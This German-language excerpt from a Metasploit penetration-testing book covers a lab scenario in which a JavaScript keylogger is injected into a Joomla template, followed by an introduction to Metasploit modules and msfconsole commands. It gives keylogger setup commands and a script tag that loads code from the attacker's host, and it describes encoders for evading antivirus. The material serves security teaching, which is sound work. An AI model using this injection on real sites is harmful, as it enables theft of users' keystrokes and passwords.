close

Anmelden

Neues Passwort anfordern?

Anmeldung mit OpenID

5.16 Wie kommt der Keylogger auf die Webseite? - Buecher.de

EinbettenHerunterladen
5.16 Wie kommt der Keylogger auf die Webseite?
237
schon seit längerer Zeit, ihre Produkte durch neuentwickelte Plug-ins sicherer zu
machen und die Nutzer auf entsprechende Gefahren hinzuweisen. Letztendlich
obliegt es aber der Entscheidung des Nutzers, ob er eine bestimmte Seite aufruft
oder nicht. In diesem Zusammenhang ist es wichtig, das eingesetzte Personal auf
die Gefahren hinzuweisen und sie über mögliche Methoden der Angreifer zu informieren.
Die eingesetzte Firewall konnte zwar die Kanzlei vor Gefahren aus dem Internet
schützen, war aber so konfiguriert, dass der von innen initiierte Datenverkehr über
Port 443 (SSL) zu allen Zielen (und damit auch auf die Webseite des Angreifers)
möglich war. Der so verschlüsselte Datenverkehr ermöglicht es dem Angreifer, weiteren Schadcode unentdeckt nachzuladen und auch Intrusion-Detection-Systeme
zu umgehen. Demzufolge sollte hier der Datenverkehr auf das tatsächlich notwendige Maß (Whitelisting) eingeschränkt werden. Das Aufbrechen der Verschlüsselung zur Untersuchung des Inhalts auf Schadsoftware wird von vielen Anwendern
aus datenschutzrechtlichen Gründen als unzweckmäßig erachtet. Trotzdem stellen
Proxyserver (http und https) in Kombination mit Virenschutzsoftware ein geeignetes Mittel dar, Angriffe frühzeitig zu erkennen und abzuwehren.
Die eingesetzte Virenschutzsoftware konnte vom Angreifer überwunden werden. In diesem Zusammenhang ist festzustellen, dass ein rein auf Signaturen basierender Virenschutz nicht mehr ausreichend ist. Alle Hersteller von Virenschutzsoftware kombinieren ihre Produkte daher mit einem NetzwerkBedrohungsschutz, der Angriffe auch innerhalb eines Netzwerkes erfolgreich
abwehren kann. Wäre diese Komponente in diesem Beispiel eigesetzt worden, so
hätte die angewendete Methode (Pivoting) nicht zum Erfolg geführt. Leider sträuben sich erfahrungsgemäß viele Netzwerkadministratoren, diese Features einzusetzen, weil sie zusätzlichen Aufwand für die Administration und Wechselwirkungen mit anderen Programmen im Netzwerk befürchten.
5.16 Wie kommt der Keylogger auf die Webseite?
5.16.1
Das Szenario
Für viele Anwender ist die Benutzung des Internets aus dem täglichen Leben nicht
mehr wegzudenken. Dabei werden soziale Netzwerke und Online-Shops mit einer großen Selbstverständlichkeit genutzt. Die Webapplikationen sind intuitiv zu
bedienen und lassen in Funktionalität und Aussehen kaum Wünsche offen. Um
dies zu realisieren, sind moderne Webseiten dynamisch aufgebaut. Dies führt u.a.
dazu, dass die Quellen für die Webinhalte auf verschiedenen Webservern/Datenbanken gespeichert sind, die erst während der Laufzeit im Browser des Anwenders zusammengefügt werden. Dabei ist es nicht unüblich, entsprechende Daten
auf dem PC des Anwenders über sogenannte Cookies auszuwerten. Somit ist der
238
5 Anwendungsszenarien
Webanbieter in der Lage, das Surfverhalten des Anwenders auszunutzen, um z.B.
zielgerichtete Werbung auf der aufgerufenen Webseite zu platzieren.
Aus der Sicht eines Angreifers ist diese Vorgehensweise natürlich besonders
interessant. Wenn er es schafft, eine dieser Quellen (Webserver/Datenbanken) zu
penetrieren und mit Schadcode zu versehen, so kann er unter Umständen mehrere
Webseiten gleichzeitig für seine Zwecke manipulieren. Dabei reicht es oftmals aus,
nur eine Zeile Programmcode einzuschleusen. Diese Angriffe bleiben lange unentdeckt und können große Schäden anrichten.
Im ersten Teil des Szenarios ist es dem Angreifer als Voraussetzung für weitere
Angriffe gelungen, eine solche Quelle unter seine Kontrolle zu bringen und Schadcode einzupflegen. Der zweite Teil beschäftigt sich damit, wie eine bestehende
XSS-Schwachstelle in einem Online-Shop ausgenutzt werden kann, um Angriffe
auf ausgewählte Nutzer auszuführen. In beiden Fällen wird ein Keylogger eingesetzt, der alle Tastenanschläge des Nutzers an den PC des Angreifers übermittelt.
Wir werden das Angriffsszenario in unserer Testumgebung nachstellen und
dafür wieder den privaten IP-Adressbereich und das Metasploit-Framework nutzen. Jeder Leser wird sich sicherlich leicht vorstellen können, dass sich dieses Szenario auch in eine reale Umgebung projizieren lässt. Abbildung 5–44 zeigt den
Versuchsaufbau.
Abb. 5–44 Der Angriff kurz skizziert
n Der Angreifer hat Zugriff auf die Webseite bzw. auf die dazugehörigen
Datenbanken. Dort bringt er den Schadcode ein.
o Der Nutzer öffnet die Webseite und führt die dort enthaltenen Inhalte
(HTML, PHP, JavaScript etc.) über den Webbrowser aus.
p Der Schadcode (Keylogger) wird vom PC des Angreifers angefordert und
nachgeladen.
q Tastenanschläge werden an den Angreifer übermittelt.
5.16 Wie kommt der Keylogger auf die Webseite?
239
Auf dem Webserver mit der IP-Adresse 192.168.222.93 ist Joomla19, eines der
beliebtesten Content-Management-Systeme (CMS), installiert. Als Betriebssystem wird Ubuntu eingesetzt. Es ist zwingend erforderlich, zuerst einen funktionierenden Webserver mit PHP und MySQL als Datenbank einzurichten. Die Installation wird hier nicht im Detail erläutert. Erfahrene Linux-Anwender werden
sicherlich auf keine großen Probleme stoßen. Da es sich hier um ein sehr verbreitetes CMS handelt, lassen sich zu diesem Thema viele Anleitungen20 im Internet
finden.
Der Online-Shop (Badstore), der im zweiten Teil des Szenarios eingesetzt wird,
ist bereits in Abschnitt 2.3.2 kurz vorgestellt worden. Da er einige Cross-SiteScripting-(XSS-)Schwachstellen enthält, können die möglichen Gefahren hier gut
demonstriert werden. Der Angreifer nutzt Backtrack und das Metasploit-Framework. Der Angriff kann auf alle Betriebssysteme erfolgen. Es wird lediglich ein
funktionstüchtiger Browser benötigt, der JavaScript-Code ausführen kann.
5.16.2
Den Angriff vorbereiten
Nachdem alle Komponenten installiert worden sind, sollte zunächst geprüft werden, ob sich alle virtuellen Umgebungen im gleichen Netzwerksegment befinden.
In unserem Beispiel wählen wir jeweils als Netzwerkadapter »Internes Netzwerk« mit dem Namen »LAN« aus.
Auf dem Angriffssystem kommt ein Werkzeug (Auxiliary) des Frameworks
zum Einsatz. Es wird ein Metasploit-JavaScript-Keylogger installiert, der bei
Bedarf über HTTP bzw. HTTPS entsprechenden JavaScript-Programmcode zur
Verfügung stellt. Somit wird es dem Angreifer ermöglicht, die Tastaturanschläge
des Nutzers abzugreifen, über das Netzwerk zu übertragen und auf dem eigenen
System darzustellen. Listing 5–83 zeigt den Aufruf und die Konfiguration des
benötigten Moduls.
=[
+ -- --=[
+ -- --=[
=[
metasploit v4.3.0-dev [core:4.3 api:1.0]
810 exploits - 452 auxiliary - 135 post
247 payloads - 27 encoders - 8 nops
svn r14855 updated today (2012.03.03)
msf > use auxiliary/server/capture/http_javascript_keylogger
msf > auxiliary(http_javascript_keylogger) > show options
Module options (auxiliary/server/capture/http_javascript_keylogger):
Name
---DEMO
Current Setting
--------------false
19. http://www.joomla.org/
20. http://wiki.ubuntuusers.de/Joomla
Required
-------yes
Description
----------Creates HTML for demo purposes
240
5 Anwendungsszenarien
SRVHOST
0.0.0.0
yes
SRVPORT
SSL
8080
false
yes
no
SSLCert
no
SSLVersion
URIPATH
SSL3
no
no
The local host to listen on.
This must be an address on the
local machine or 0.0.0.0
The local port to listen on.
Negotiate SSL for incoming
connections
Path to a custom SSL certificate
(default is randomly generated)
Specify the version of SSL that
should be used
(accepted: SSL2, SSL3, TLS1)
The URI to use for this exploit
(default is random)
msf auxiliary(http_javascript_keylogger) > set URIPATH example
URIPATH => example
msf auxiliary(http_javascript_keylogger) > set SRVPORT 80
SRVPORT => 80
msf auxiliary(http_javascript_keylogger) > run
[*] Using URL: http://0.0.0.0:80/example
[*] Local IP: http://192.168.222.13:80/example
[*] Server started.
Listing 5–83
JavaScript-Keylogger auf dem Angriffssystem einrichten
Als Ergebnis wird in unserem Beispiel ein Listener auf Port 80/HTTP installiert,
der nun auf Anfragen reagieren kann. In Listing 5–84 ist der Programmcode dargestellt, der auf dem Webserver ausgeführt werden muss, um den Keylogger erfolgreich einsetzen zu können. Dabei kann der Dateiname am Ende der Zeile beliebig gewählt werden. Wie schon im vorherigen Abschnitt beschrieben, hat der
Angreifer hier verschiedene Möglichkeiten. In diesem Beispiel gehen wir davon
aus, dass er Zugriff auf den Webserver erlangt hat und den Programmcode erfolgreich einbringen konnte.
<script type="text/javascript" src="http://192.168.222.13/example/logme.js">
Listing 5–84
Diese Zeile Code muss auf der Webseite platziert werden.
Um in unserer Testumgebung den Code im CMS richtig zu platzieren, ist es notwendig, sich ein wenig mit dem Aufbau von Joomla zu beschäftigen. Das Aussehen der Webseite (Abb. 5–45) lässt sich sehr schnell über Templates ändern.
Dabei können die vorinstallierten Templates genutzt oder nutzereigene hinzugefügt werden. Diese Programmteile werden jeweils in einem separaten Unterverzeichnis gespeichert. Listing 5–85 zeigt die Dateistruktur auf dem Webserver an.
5.16 Wie kommt der Keylogger auf die Webseite?
241
Abb. 5–45 Das CMS Joomla mit einem vorinstallierten Template
root@Ubuntu1110:/# cd /var/www/joomla/
root@Ubuntu1110:/var/www/joomla# ls
administrator
htaccess.txt
cache
images
cli
includes
components
index.php
configuration_old.php installation_old
configuration.php
joomla.xml
language
libraries
LICENSE.txt
logs
media
modules
plugins
README.txt
robots.txt
templates
tmp
web.config.txt
root@Ubuntu1110:/var/www/joomla# cd templates/beez5
root@Ubuntu1110:/var/www/joomla/templates/beez5# ls
component.php fonts
index.php
templateDetails.xml
css
html
index.php_default template_preview.png
error.php
images
javascript
template_thumbnail.png
favicon.ico
index.html language
Listing 5–85
Joomla-Dateistruktur
In unserem Beispiel wurde vom Administrator des CMS das Template beez5 als
Standard ausgewählt. Die nun verwendeten Dateien befinden sich auf dem Webserver im folgenden Verzeichnis:
/var/www/joomla/templates/beez5/
242
5 Anwendungsszenarien
Um den Programmcode Erfolg versprechend einzusetzen, muss der Angreifer den
Code nur noch in die Datei index.php im angegebenen Verzeichnis einbinden.
Listing 5–86 zeigt die Implementierung an einer möglichen Stelle an.
<snip>
POWERED_BY');?> <a href="http://www.joomla.org/">Joomla!&#174;</a>
</p>
<?php if (!$templateparams->get('html5', 0)): ?>
</div><!-- end footer -->
<?php else: ?>
</footer>
<?php endif; ?>
</div>
</div>
<jdoc:include type="modules" name="debug" />
</body>
<script type="text/javaScript"
src="http://192.168.222.13/example/logme.js"></script>
</html>
Listing 5–86
5.16.3
Die manipulierte Indexdatei (Auszug)
Den Angriff ausführen
Nachdem der Listener auf der Angriffsplattform gestartet wurde, muss der Angreifer nur noch seinen Bildschirm beobachten und die dort angezeigten Tastenanschläge auswerten.
Sobald ein Nutzer die Startseite des CMS (Abb. 5–45) aufruft, werden seine
Tastenanschläge an den Angreifer übermittelt. Dies trifft übrigens auch zu, wenn
der Rest der Webseite mit HTTPS verschlüsselt übertragen wird. Die Kommunikation zum Angriffssystem erfolgt separat nach den Vorgaben des Angreifers. Wie
aus Abbildung 5–46 zu ersehen ist, hat ein Anwender die Webseite aufgerufen und
sich erfolgreich mit folgenden Nutzerdaten am System angemeldet:
■ User Name: MuellerP
■ Passwort:
SecretPassword
Gleichzeitig wurden diese Daten an das Backtrack-System übermittelt.
45
3
Das Metasploit-Framework
Nachdem wir uns im vorigen Kapitel ausgiebig mit der Erstellung unserer Testumgebung befasst haben, kommen wir nun zum eigentlichen Anliegen des Buches. In diesem Kapitel werden die einzelnen Komponenten des MetasploitFrameworks vorgestellt.
3.1
Die Metasploit-Framework-Architektur
Als Einführung in Metasploit beschäftigen wir uns zunächst ein wenig mit der
Architektur des Frameworks. Wir werden später das Metasploit-Framework ausschließlich aus der Sicht des Nutzers betrachten. Trotzdem ist es notwendig, bestimmte Zusammenhänge zu erfassen und den grundlegenden Aufbau zu kennen.
Abbildung 3–1 zeigt die Hauptkomponenten des Frameworks.
Abb. 3–1
Metasploit-Framework-Architektur
46
3 Das Metasploit-Framework
Leser, die sich später mit der Weiterentwicklung bzw. der Erweiterung des Frameworks beschäftigen wollen, werden sich besonders für die Softwarebibliotheken
interessieren. Die Ruby Extension Library (auch Rex genannt) ist die fundamentale Komponente des gesamten Frameworks. Sie ist im Grunde genommen eine
Sammlung aus Klassen und Modulen.
Zusätzlich zu den in Rex bereitgestellten Bibliotheken können die Entwickler
auf weitere Werkzeuge, z.B für die Arbeit mit verschiedenen Protokollen (HTTP,
SMB oder Sun RPC), zurückgreifen.
Der Framework-Kern besteht aus verschiedenen Untersystemen, die u.a. für
das Module- und Sessionmanagement bzw. die Ereignisbehandlung benötigt werden. Er besteht aus:
■
■
■
■
DataStore
Event Notifications
Framework Managers
Utility Classes
Die Frameworkbasis soll die Arbeit mit dem Kern erleichtern und dient daher als
Schnittstelle. Wichtige Komponenten sind:
■
■
■
■
■
Configuration
Logging
Serialization
Sessions
Simplified Framework
Plug-ins dienen dazu, neue Features und Funktionalitäten in das Framework einfließen zu lassen. Unter anderem ist es somit möglich, neue Kommandos in ein
Interface (z.B. msfconsole) einzufügen. Das Plug-in-Konzept wurde ab der Version 3.0 in das Framework aufgenommen und trägt damit wesentlich zur Flexibilität und Erweiterbarkeit bei.
Für die meisten Nutzer werden wohl die zur Verfügung gestellten Module und
Schnittstellen des Metasploit-Frameworks besonders interessant sein. Dies ist ein
Grund mehr, sie in den folgenden Abschnitten etwas ausführlicher zu betrachtet.
3.2
Metasploit-Module
Die Metasploit-Module sind eine wesentlicher Bestandteil des Frameworks. Die
einzelnen Bestandteile werden hier etwas genauer beschrieben.
3.2.1
Exploits
Wie der englische Begriff »to exploit« (ausnutzen) bereits ausdrückt, sind in diesem Modul kleine Schadprogramme und Skripte abgelegt, die die einzelnen
3.2 Metasploit-Module
47
Sicherheitslücken in den Betriebssystemen und Anwenderprogrammen ausnutzen. Dieses Modul ist sicher der bekannteste Bestandteil des Frameworks. Leider
wird es von unbedarften Nutzern auf diese eine Komponente reduziert. Somit
wird Metasploit auch oftmals als Angriffstool für sogenannte »Skriptkiddies«
eingestuft. Dass Metasploit viel mehr kann, soll dieses Buch u.a. zeigen.
Als Nächstes werden wir uns anschauen, wo die einzelnen Exploits im Dateisystem von Backtrack 5 abgelegt sind. In unserem Beispiel suchen wir Exploits für
den Microsoft SQL Server. Da die Ablage nachvollziehbar aufgebaut ist, werden
wir in der Verzeichnisstruktur relativ schnell fündig. Wir wechseln zunächst in das
Modulverzeichnis, rufen dann das Modul Exploits auf, gehen von dort in das
Windows-Verzeichnis und finden hier im Verzeichnis mssql die gewünschten
Exploits.
root@bt:/# cd /pentest/exploits/framework/modules
root@bt:/pentest/exploits/framework/modules# ls
auxiliary encoders exploits modules.rb.ts.rb
nops
payloads
root@bt:/pentest/exploits/framework/modules# cd exploits/
root@bt:/pentest/exploits/framework/modules/exploits# ls
aix
dialup
hpux linux netware solaris unix
bsdi freebsd irix multi osx
test
windows
root@bt:/pentest/exploits/framework/modules/exploits# cd windows
root@bt:/pentest/exploits/framework/modules/exploits/windows# ls
antivirus
dcerpc
ftp
ldap
motorola oracle smtp
arkeia
driver
games license mssql
pop3
ssh
backdoor
email
http
lotus
mysql
proxy
ssl
backupexec emc
iis
lpd
nfs
scada
telnet
brightstor fileformat imap
misc
nntp
sip
tftp
browser
firewall
isapi mmsp
novell
smb
unicenter
vnc
vpn
wins
root@bt:/pentest/exploits/framework/modules/exploits/windows# cd mssql
root@bt:/pentest/exploits/framework/modules/exploits/windows/mssql# ls
lyris_listmanager_weak_pass.rb ms09_004_sp_replwritetovarbin.rb
ms02_039_slammer.rb
mssql_payload.rb
ms02_056_hello.rb
Listing 3–1
3.2.2
Auffinden der Exploits in der Verzeichnisstruktur
Payloads
War ein Exploit erfolgreich, benötigt der Angreifer Code, der auf das infiltrierte
System übertragen werden kann. Ziel wird es sein, einen erweiterten oder auch
dauerhaften Zugriff auf das Zielsystem zu erlangen. Dies wird u.a. dadurch geschehen, dass der Angreifer neue Nutzer-Accounts anlegt, sich mittels Kommandozeile Zugriff auf das System verschafft oder auf dem System installierte Programme (z.B. VNC, Remote Desktop) für spätere Fernzugriffe ausnutzt.
48
3 Das Metasploit-Framework
Auch hier ist der Angreifer natürlich bestrebt, unentdeckt zu bleiben und Intrusion-Detection-Systeme (IDS) zu umgehen. Somit können entsprechende Mechanismen in den Payload integriert sein.
Einer der bekanntesten Payloads des Frameworks ist sicherlich der Meta-Interpreter (kurz Meterpreter genannt). Der Meterpreter bringt seine eigene »Command Shell« mit und unterstützt die Penetrierung des Zielsystems mit einer breiten
Palette an Befehlen. Schauen wir uns auch hier an, wo wir die Dateien finden können. In diesem Fall interessieren wir uns für den Meterpreter-Payload zur Penetrierung eines Linux-Systems (x86).
root@bt:/pentest/exploits/framework/modules# cd
payloads/
root@bt:/pentest/exploits/framework/modules/payloads# ls
singles stagers stages
root@bt:/pentest/exploits/framework/modules/payloads# cd singles/
root@bt:/pentest/exploits/framework/modules/payloads/singles# ls
aix bsd bsdi cmd generic java linux osx php solaris tty
windows
root@bt:/pentest/exploits/framework/modules/payloads/singles# cd linux
root@bt:/pentest/exploits/framework/modules/payloads/singles/linux# ls
mipsbe mipsle ppc ppc64 x86
root@bt:/pentest/exploits/framework/modules/payloads/singles/linux# cd x86
root@bt:/pentest/exploits/framework/modules/payloads/singles/linux/x86# ls
adduser.rb metsvc_bind_tcp.rb
shell_bind_tcp.rb
shell_reverse_tcp.rb
chmod.rb
metsvc_reverse_tcp.rb
shell_find_port.rb shell_reverse_tcp2.rb
exec.rb
shell_bind_ipv6_tcp.rb shell_find_tag.rb
Listing 3–2
3.2.3
Auffinden der Payloads in der Verzeichnisstruktur
Encoder
Das englische Wort »Encoder« steht im Deutschen für »Codierer« und bezeichnet im Metasploit-Framework die Möglichkeit, Payload so zu verschleiern, dass
dieser für IDS-Systeme oder Virenschutzprogramme schwer zu erkennen ist.
Hier hat sich insbesondere der Encoder shikata_ga_nai als sehr wirksam erwiesen. Wir werden ihn daher in einem unserer nächsten Tests verwenden, um Virenschutzprogramme zu umgehen. Er lässt sich im Dateiverzeichnis wie folgt finden:
root@bt:/pentest/exploits/framework/modules# cd encoders/
root@bt:/pentest/exploits/framework/modules/encoders# ls
cmd encoder_test.rb.ut.rb generic mipsbe mipsle php
ppc
root@bt:/pentest/exploits/framework/modules/encoders# cd x86
root@bt:/pentest/exploits/framework/modules/encoders/x86# ls
sparc
x64
x86
3.2 Metasploit-Module
alpha_mixed.rb
alpha_upper.rb
avoid_utf8_tolower.rb
call4_dword_xor.rb
call4_dword_xor.rb.ut.rb
context_cpuid.rb
context_stat.rb
Listing 3–3
3.2.4
49
context_time.rb
countdown.rb
countdown.rb.ut.rb
fnstenv_mov.rb
fnstenv_mov.rb.ut.rb
jmp_call_additive.rb
nonalpha.rb
nonupper.rb
shikata_ga_nai.rb
single_static_bit.rb
unicode_mixed.rb
unicode_upper.rb
Auffinden der Encoder in der Verzeichnisstruktur
NOPs
Die sogenannten NOP-Generatoren werden zur Verschleierung des Shellcodes
eingesetzt und sollen die Erkennung von Angriffen mittels Intrusion-DetectionSystemen (IDS) erschweren. Diese Systeme sind in der Lage, Netzwerkpakete
nach bestimmten Bytesequenzen zu durchsuchen. Dabei sind die sogenannten
»NOP sleds« durch eine Folge von 0x90-Maschinebefehlen zu erkennen und eindeutig zu identifizieren. Mittels der NOP-Generatoren ist der Angreifer in der
Lage, verschiedene Sequenzen zu erzeugen und somit den auf Signaturbasis arbeitenden IDS ein »Schnippchen zu schlagen«.
Listing 3–4 zeigt, wo Sie die verschiedenen NOP-Generatoren finden können.
oot@bt:/pentest/exploits/framework/modules# cd nops/
root@bt:/pentest/exploits/framework/modules/nops# ls
armle nop_test.rb.ut.rb php ppc sparc tty x64 x86
root@bt:/pentest/exploits/framework/modules/nops# cd x86
root@bt:/pentest/exploits/framework/modules/nops/x86# ls
opty2.rb single_byte.rb
Listing 3–4
3.2.5
Auffinden der NOP-Generatoren in der Verzeichnisstruktur
Auxiliary
Die sogenannten Helfer (engl. Auxiliaries) sind eine weitere Errungenschaft im
Metasploit-Framework und seit der Version 3.0 ein fester Bestandteil. Hinter dieser Bezeichnung verbergen sich kleine Tools, die das Fingerprinting und Vulnerability Scanning in Computernetzwerken verbessern sollen. Mit diesen Hilfsmitteln ist der Penetrationstester u.a. in der Lage, Scans nach angebotenen Diensten
im Netzwerk durchzuführen oder das Betriebssystem eines Zielrechners eindeutig
zu bestimmen. In Abschnitt 4.1.3 werden wir u.a. nach Passwörtern im Netzwerk
sniffen. Hier lässt sich psnuffle recht gut einsetzen. Auch dieses Hilfsmittel ist
dank der durchdachten Verzeichnisstruktur schnell zu finden.
50
3 Das Metasploit-Framework
root@bt:~# cd /pentest/exploits/framework/modules/auxiliary/
root@bt:/pentest/exploits/framework/modules/auxiliary# ls
admin
dos
gather scanner sniffer sqli voip
client fuzzers pdf
server
spoof
test
root@bt:/pentest/exploits/framework/modules/auxiliary# cd sniffer/
root@bt:/pentest/exploits/framework/modules/auxiliary/sniffer# ls
psnuffle.rb
Listing 3–5
3.3
Auffinden der Auxiliaries in der Verzeichnisstruktur
Metasploit-Konsole (msfconsole)
Die Metasploit-Konsole ist das populärste Werkzeug im Framework. Wir werden
sie in unseren Tests ausgiebig nutzen. Sie ist für alle Betriebssysteme verfügbar
und stellt alle notwendigen Funktionen für eine effektive Arbeit bereit. In der Metasploit-Konsole werden die meisten Komponenten unterstützt. Gleichzeitig gilt
sie als sehr stabil in der Arbeit und lässt keinen Komfort in der Bedienung vermissen. Features wie Tabbing, Command Completion und die Ausführung externer
Kommandos werden unterstützt.
Abb. 3–2
Metasploit-Konsole in Backtrack 5 aufrufen
3.3 Metasploit-Konsole (msfconsole)
51
Im Folgenden werden die einzelnen Features anhand unserer in Abschnitt 2.2.2
aufgesetzten virtuellen Maschine (Backtrack 5) erläutert. Bevor Sie mit der eigentlichen Arbeit beginnen, wird dringend empfohlen, die neusten Updates zu installieren. Öffnen Sie die Metasploit-Konsole (msfconsole) gemäß Abbildung 3–2
und führen Sie den Befehl svn update aus.
Als Erstes sollten Sie sich mithilfe des Kommandos help einen Überblick verschaffen. Neben den verfügbaren Kommandos finden Sie eine kurze Beschreibung.
msf > help
Core Commands
=============
Command
------?
back
banner
cd
color
connect
exit
help
info
irb
jobs
kill
load
loadpath
quit
resource
route
save
…
…
Description
----------Help menu
Move back from the current context
Display an awesome metasploit banner
Change the current working directory
Toggle color
Communicate with a host
Exit the console
Help menu
Displays information about one or more module
Drop into irb scripting mode
Displays and manages jobs
kill a job
Load a framework plugin
Searches for and loads modules from a path
Exit the console
Run the commands stored in a file
Route traffic through a session
Saves the active datastores
Database Backend Commands
=========================
Command
Description
----------------creds
List all credentials in the database
db_connect
Connect to an existing database
db_disconnect Disconnect from the current database instance
db_driver
Specify a database driver
db_export
Export a file containing the contents of the database
db_import
Import a scan result file (filetype will be auto-detected)
db_nmap
Executes nmap and records the output automatically
db_status
Show the current database status
hosts
List all hosts in the database
52
3 Das Metasploit-Framework
loot
notes
services
vulns
workspace
Listing 3–6
List all loot in the database
List all notes in the database
List all services in the database
List all vulnerabilities in the database
Switch between database workspaces
msfconsole-Hilfe (gekürzte Ausgabe)
Das Kommando show zeigt alle im Metasploit befindlichen Module an. Die Anzeige ist in folgende Bereiche unterteilt:
■
■
■
■
■
Encoders
NOPs
Exploits
Payloads
Auxiliary
Folgendes Listing stellt einen kurzen Ausschnitt der verfügbaren Komponenten
dar:
msf > show encoders
Encoders
========
Name
---cmd/generic_sh
Rank
---good
cmd/ifs
generic/none
mipsbe/longxor
mipsle/longxor
php/base64
ppc/longxor
ppc/longxor_tag
low
normal
normal
normal
normal
normal
normal
Description
----------Generic Shell Variable Substitution Command
Encoder
Generic ${IFS} Substitution Command Encoder
The "none" Encoder
XOR Encoder
XOR Encoder
PHP Base64 encoder
PPC LongXOR Encoder
PPC LongXOR Encoder
msf > show auxiliary
Auxiliary
=========
Name
---admin/backupexec/dump
Rank
---normal
admin/backupexec/registry normal
Description
----------Veritas Backup Exec Windows Remote File
Access
Veritas Backup Exec Server Registry Access
3.3 Metasploit-Konsole (msfconsole)
admin/cisco/ios_http_auth_bypass
53
normal
Cisco IOS HTTP Unauthorized
Administrative Access
msf > show payloads
Payloads
========
Name
---aix/ppc/shell_bind_tcp
aix/ppc/shell_find_port
aix/ppc/shell_interact
aix/ppc/shell_reverse_tcp
bsd/sparc/shell_bind_tcp
bsd/sparc/shell_reverse_tcp
bsd/x86/exec
Listing 3–7
Rank
---normal
normal
normal
normal
normal
normal
normal
Description
----------AIX Command Shell, Bind TCP Inline
AIX Command Shell, Find Port Inline
AIX execve shell for inetd
AIX Command Shell, Reverse TCP Inline
BSD Command Shell, Bind TCP Inline
BSD Command Shell, Reverse TCP Inline
BSD Execute Command
Das show-Kommando (gekürzte Ausgabe)
Wie man sicher leicht sehen kann, verliert man bei der großen Anzahl an Exploits,
Payloads und Scanner leicht den Überblick. Aus diesem Grund sollte man sich mit
dem Kommando search gezielt nach verfügbaren Komponenten umschauen und
dann mittels der folgenden Kommandos weitere Informationen einholen:
■
■
■
■
show
show
show
show
payloads
options
target
advanced
In diesem Beispiel interessieren wir uns für den Exploit ms08_067_netapi. Mit dem
Kommando use wählen wir es für weitere Abfragen aus:
msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name
---windows/smb/ms08_067_netapi
Corruption
Rank
---great
Description
----------Microsoft Server Service Relative Path Stack
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
54
3 Das Metasploit-Framework
Compatible Payloads
===================
Name
---generic/debug_trap
generic/shell_bind_tcp
Rank
---normal
normal
Description
----------Generic x86 Debug Trap
Generic Command Shell, Bind TCP
Inline
normal Generic Command Shell, Reverse TCP
Inline
normal Generic x86 Tight Loop
normal Windows Execute net user /ADD
generic/shell_reverse_tcp
generic/tight_loop
windows/adduser
msf exploit(ms08_067_netapi) > show options
Module options:
Name
---RHOST
RPORT
SMBPIPE
Current Setting
--------------445
BROWSER
Required
-------yes
yes
yes
Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id
-0
Name
---Automatic Targeting
msf exploit(ms08_067_netapi) > show targets
Exploit targets:
Id
-0
1
2
3
4
Name
---Automatic Targeting
Windows 2000 Universal
Windows XP SP0/SP1 Universal
Windows XP SP2 English (NX)
Windows XP SP3 English (NX)
msf exploit(ms08_067_netapi) > show advanced
Module advanced options:
Name
: CHOST
Current Setting:
Description
: The local client address
Name
Listing 3–8
: CPORT
Informationen zum Exploit ms08_067_netapi (gekürzte Ausgabe)
3.3 Metasploit-Konsole (msfconsole)
55
Das Kommando info listet eine detaillierte Beschreibung des Exploits einschließlich der verfügbaren Ziele, Optionen und Referenzen auf:
msf exploit(ms08_067_netapi) > info
Name:
Version:
Platform:
Privileged:
License:
Rank:
Microsoft Server Service Relative Path Stack Corruption
9396
Windows
Yes
Metasploit Framework License (BSD)
Great
Provided by:
hdm <hdm@metasploit.com>
Brett Moore <brett.moore@insomniasec.com>
Available targets:
Id Name
-- ---0
Automatic Targeting
1
Windows 2000 Universal
2
Windows XP SP0/SP1 Universal
3
Windows XP SP2 English (NX)
4
Windows XP SP3 English (NX)
5
Windows 2003 SP0 Universal
6
Windows 2003 SP1 English (NO NX)
7
Windows 2003 SP1 English (NX)
8
Windows 2003 SP2 English (NO NX)
9
Windows 2003 SP2 English (NX)
10 Windows 2003 SP2 German (NO NX)
11 Windows 2003 SP2 German (NX)
.
.
.
Basic options:
Name
Current Setting Required Description
------------------ -------- ----------RHOST
yes
The target address
RPORT
445
yes
Set the SMB service port
SMBPIPE BROWSER
yes
The pipe name to use (BROWSER, SRVSVC)
Payload information:
Space: 400
Avoid: 8 characters
Description:
This module exploits a parsing flaw in the path canonicalization
code of NetAPI32.dll through the Server Service. This module is
capable of bypassing NX on some operating systems and service packs.
56
3 Das Metasploit-Framework
The correct target must be used to prevent the Server Service (along
with a dozen others in the same process) from crashing. Windows XP
targets seem to handle multiple successful exploitation events, but
2003 targets will often crash or hang on subsequent attempts. This
is just the first version of this module, full support for NX bypass
on 2003, along with other platforms, is still in development.
References:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2008-4250
http://www.osvdb.org/49243
http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx
NEXPOSE (dcerpc-ms-netapi-netpathcanonicalize-dos)
Listing 3–9
Das info-Kommando (gekürzte Ausgabe)
Mit dem Kommando connect lassen sich Verbindungen zu anderen Servern, Clients,
Routern oder mittels Netcat geöffneten Ports herstellen. Man braucht dazu also
nicht die Metasploit-Konsole zu verlassen. Geben Sie einfach die IP-Adresse und
den entsprechenden Port an. Mit der Option –z lässt sich z.B. einfach überprüfen,
ob zum entsprechenden Server eine Verbindung über den angegebenen Port aufgebaut werden kann. Danach wird die Verbindung gleich wieder geschlossen.
msf > connect -h
Usage: connect [options] <host> <port>
Communicate with a host, similar to interacting via netcat.
OPTIONS:
-C
-P
-S
-c
-h
-i
-p
-s
-w
-z
<opt>
<opt>
<opt>
<opt>
<opt>
<opt>
Try to use CRLF for EOL sequence.
Specify source port.
Specify source address.
Specify which Comm to use.
Help banner.
Send the contents of a file.
List of proxies to use.
Connect with SSL.
Specify connect timeout.
Just try to connect, then return.
msf > connect -z 192.168.222.66 23
[*] Connected to 192.168.222.66:23
msf >
Listing 3–10
Die Hilfe zum connect-Kommando
Wie bereits in Listing 3–8 mittels des Kommando show options gezeigt, sind die
entsprechenden Module mit verschiedenen Variablen versehen. Diese können
3.3 Metasploit-Konsole (msfconsole)
57
nun mit den Kommandos set bzw. setg (Setting Globals) gesetzt werden, um z.B.
Exploits zu konfigurieren. Im Unterschied zum Kommando set werden die mittels setg konfigurierten Variablen »global« festgelegt und können mit dem Kommando save gespeichert und beim nächsten Start von msfconsole weiterverwendet werden. Das Setzen von globalen Variablen kann mit dem Befehl unsetg
wieder rückgängig gemacht werden.
